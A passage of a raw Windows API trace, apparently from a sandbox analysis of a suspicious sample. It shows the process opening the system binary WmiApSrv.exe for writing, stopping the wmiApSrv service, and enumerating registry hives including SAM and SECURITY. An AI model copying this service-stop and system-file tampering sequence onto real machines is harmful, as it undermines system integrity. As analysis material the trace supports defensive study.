RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.634] RegCloseKey (hKey=0xc4) returned 0x0 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.634] RegCloseKey (hKey=0x148) returned 0x0 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.635] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.635] GetLastError () returned 0x20 [0228.635] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.636] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.636] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.636] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0228.639] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.640] GetLastError () returned 0x425 [0228.640] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.640] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.640] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.641] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.641] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.641] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.641] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.642] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.642] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.642] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.645] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.645] RegCloseKey (hKey=0xc4) returned 0x0 [0228.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.646] RtlFreeHeap 